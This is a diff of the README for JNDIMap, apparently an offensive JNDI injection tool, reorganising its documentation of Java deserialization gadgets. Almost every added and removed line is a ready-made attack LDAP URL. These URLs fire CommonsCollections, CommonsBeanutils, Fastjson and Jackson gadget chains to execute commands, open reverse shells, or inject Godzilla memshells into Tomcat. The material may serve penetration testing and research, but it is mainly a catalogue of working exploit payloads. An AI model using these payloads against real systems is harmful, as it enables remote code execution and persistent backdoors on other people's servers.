@@ -503,39 +503,47 @@ Supports Java deserialization via LDAP and LDAP protocols (RMI protocol is not s
503503JNDIMap has built-in the following gadgets, and also supports custom data deserialization
504504
505505- CommonsCollections K1-K4
506- - CommonsBeanutils183
507- - CommonsBeanutils194
508- - Fastjson1 (1.2.x)
509- - Fastjson2 (2.0.x)
506+ - CommonsBeanutils 183, 194
507+ - Fastjson1 (1.2.x), Fastjson2 (2.0.x)
510508- Jackson
511509
512- ``` bash
513- # custom data deserialization
510+ ### Custom Data Deserialization
514511
512+ ``` bash
515513# load via URL parameters
516514ldap://127.0.0.1:1389/Deserialize/FromUrl/< base64-url-encoded-serialized-data>
517515# load from the server running JNDIMap
518516ldap://127.0.0.1:1389/Deserialize/FromFile/payload.ser # the path is relative to the current directory
519517ldap://127.0.0.1:1389/Deserialize/FromFile/< base64-url-encoded-path-to-serialized-data>
518+ ```
519+
520+ ### CommonsCollections
521+
522+ Based on versions 3.1 and 4.0, and whether they depend on TemplatesImpl, they are divided into four versions: K1-K4
520523
521- # CommonsCollectionsK1 deserialization (3.1 + TemplatesImpl), supports command execution, reverse shell and memshell injection
524+ ``` bash
525+ # CommonsCollectionsK1 (3.1 + TemplatesImpl), supports command execution, reverse shell and memshell injection
522526ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK1/Command/open -a Calculator
523527ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK1/ReverseShell/127.0.0.1/4444
524528ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK1/MemShell/Tomcat/Godzilla/Filter
525529
526- # CommonsCollectionsK2 deserialization (4.0 + TemplatesImpl), same as above
530+ # CommonsCollectionsK2 (4.0 + TemplatesImpl), same as above
527531ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK2/Command/open -a Calculator
528532
529- # CommonsCollectionsK3 deserialization (3.1 + Runtime.exec), only supports command execution
533+ # CommonsCollectionsK3 (3.1 + Runtime.exec), only supports command execution
530534ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK3/Command/open -a Calculator
531535
532- # CommonsCollectionsK4 deserialization (4.0 + Runtime.exec), same as above
536+ # CommonsCollectionsK4 (4.0 + Runtime.exec), same as above
533537ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK4/Command/open -a Calculator
538+ ```
539+
540+ ### CommonsBeanutils
534541
535- # CommonsBeanutils deserialization
536- # No need for commons-collections dependency, use TemplatesImpl, support command execution, reverse shell and memshell injection
537- # According to the different serialVersionUID of BeanComparator, it is divided into two versions: 1.8.3 and 1.9.4
542+ No need for commons-collections dependency, use TemplatesImpl
538543
544+ According to the different serialVersionUID of BeanComparator, it is divided into two versions: 1.8.3 and 1.9.4
545+
546+ ``` bash
539547# 1.8.3
540548ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils183/Command/open -a Calculator
541549ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils183/ReverseShell/127.0.0.1/4444
@@ -545,10 +553,29 @@ ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils183/MemShell/Tomcat/Godzilla/F
545553ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils194/Command/open -a Calculator
546554ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils194/ReverseShell/127.0.0.1/4444
547555ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils194/MemShell/Tomcat/Godzilla/Filter
556+ ```
557+
558+ ### Fastjson
559+
560+ It comes in two versions: 1.2.x and 2.0.x
561+
562+ ``` bash
563+ # Fastjson1: all versions (1.2.x)
564+ ldap://127.0.0.1:1389/Deserialize/Fastjson1/Command/open -a Calculator
565+ ldap://127.0.0.1:1389/Deserialize/Fastjson1/ReverseShell/127.0.0.1/4444
566+ ldap://127.0.0.1:1389/Deserialize/Fastjson1/MemShell/Tomcat/Godzilla/Filter
548567
549- # Jackson deserialization
550- # Use JdkDynamicAopProxy to optimize instability issues, need spring-aop dependency
568+ # Fastjson2: <= 2.0.26
569+ ldap://127.0.0.1:1389/Deserialize/Fastjson2/Command/open -a Calculator
570+ ldap://127.0.0.1:1389/Deserialize/Fastjson2/ReverseShell/127.0.0.1/4444
571+ ldap://127.0.0.1:1389/Deserialize/Fastjson2/MemShell/Tomcat/Godzilla/Filter
572+ ```
551573
574+ ### Jackson
575+
576+ Use JdkDynamicAopProxy to optimize instability issues, need spring-aop dependency
577+
578+ ``` bash
552579# for JDK 8
553580ldap://127.0.0.1:1389/Deserialize/Jackson/Command/open -a Calculator
554581ldap://127.0.0.1:1389/Deserialize/Jackson/ReverseShell/127.0.0.1/4444
@@ -566,18 +593,6 @@ ldap://127.0.0.1:1389/Deserialize/Jackson17A/MemShell/Tomcat/Godzilla/Filter
566593ldap://127.0.0.1:1389/Deserialize/Jackson17B/Command/open -a Calculator
567594ldap://127.0.0.1:1389/Deserialize/Jackson17B/ReverseShell/127.0.0.1/4444
568595ldap://127.0.0.1:1389/Deserialize/Jackson17B/MemShell/Tomcat/Godzilla/Filter
569-
570- # Fastjson deserialization
571-
572- # Fastjson1: all versions (1.2.x)
573- ldap://127.0.0.1:1389/Deserialize/Fastjson1/Command/open -a Calculator
574- ldap://127.0.0.1:1389/Deserialize/Fastjson1/ReverseShell/127.0.0.1/4444
575- ldap://127.0.0.1:1389/Deserialize/Fastjson1/MemShell/Tomcat/Godzilla/Filter
576-
577- # Fastjson2: <= 2.0.26
578- ldap://127.0.0.1:1389/Deserialize/Fastjson2/Command/open -a Calculator
579- ldap://127.0.0.1:1389/Deserialize/Fastjson2/ReverseShell/127.0.0.1/4444
580- ldap://127.0.0.1:1389/Deserialize/Fastjson2/MemShell/Tomcat/Godzilla/Filter
581596```
582597
583598## Script
0 commit comments